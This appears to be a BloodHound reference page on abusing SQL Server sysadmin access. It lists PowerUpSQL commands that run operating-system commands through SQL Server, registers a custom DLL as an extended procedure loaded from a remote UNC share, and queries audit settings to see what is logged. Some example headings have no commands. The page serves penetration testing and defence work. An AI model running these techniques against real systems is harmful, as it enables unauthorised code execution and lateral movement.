SQLAdmin
The user is a SQL admin on the target computer
There is at least one MSSQL instance running on the computer where the user with the inbound SQLAdmin edge is the account configured to run the SQL Server instance. The typical configuration for MSSQL is to have the local Windows account or Active Directory domain account that is configured to run the SQL Server service (the primary database engine for SQL Server) have sysadmin privileges in the SQL Server application. As a result, the SQL Server service account can be used to log into the SQL Server instance remotely, read all of the databases (including those protected with transparent encryption), and run operating systems command through SQL Server (as the service account) using a variety of techniques.
For Windows systems that have been joined to an Active Directory domain, the SQL Server instances and the associated service account can be identified by executing a LDAP query for a list of “MSSQLSvc” Service Principal Names (SPN) as a domain user. In short, when the Database Engine service starts, it attempts to register the SPN, and the SPN is then used to help facilitate Kerberos authentication.
This clip demonstrates how to abuse this edge:
Abuse Info
Scott Sutherland from NetSPI has authored PowerUpSQL, a PowerShell Toolkit for Attacking SQL Server. Major contributors include Antti Rantasaari, Eric Gruber, and Thomas Elling. Before executing any of the below commands, download PowerUpSQL and load it into your PowerShell instance. Get PowerUpSQL here: https://github.com/NetSPI/PowerUpSQL
Finding Data
Get a list of databases, sizes, and encryption status:
Search columns and data for keywords:
Executing Commands
Below are examples of PowerUpSQL functions that can be used to execute operating system commands on remote systems through SQL Server using different techniques. The level of access on the operating system will depend largely what privileges are provided to the service account. However, when domain accounts are configured to run SQL Server services, it is very common to see them configured with local administrator privileges.
xp_cmdshell Execute Example:
Agent Job Execution Examples:
Invoke-SQLOSPython -Verbose -Command “Whoami” -Instance sqlserver\instance
Invoke-SQLOSR -Verbose -Command “Whoami” -Instance sqlserver\instance
Invoke-SQLOSOle -Verbose -Command “Whoami” -Instance sqlserver\instance
Invoke-SQLOSCLR -Verbose -Command “Whoami” -Instance sqlserver\instance
Create-SQLFileXpDll -Verbose -OutFile c:\temp\test.dll -Command “echo test > c:\temp\test.txt” -ExportName xp_test
Get-SQLQuery -Verbose -Query “sp_addextendedproc ‘xp_test’, ‘\\yourserver\yourshare\myxp.dll’” -Instance sqlserver\instance
Get-SQLQuery -Verbose -Query “xp_test” -Instance sqlserver\instance
Get-SQLQuery -Verbose -Query “sp_dropextendedproc ‘xp_test’” -Instance sqlserver\instance
SELECT * FROM sys.dm_server_audit_status
SELECT audit_id, a.name as audit_name, s.name as server_specification_name, d.audit_action_name, s.is_state_enabled, d.is_group, d.audit_action_id, s.create_date, s.modify_date FROM sys.server_audits AS a JOIN sys.server_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id
SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, d.major_id, OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, s.modify_date, d.audited_result FROM sys.server_audits AS a JOIN sys.database_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.database_audit_specification_details AS d ON s.database_specification_id = d.database_specification_id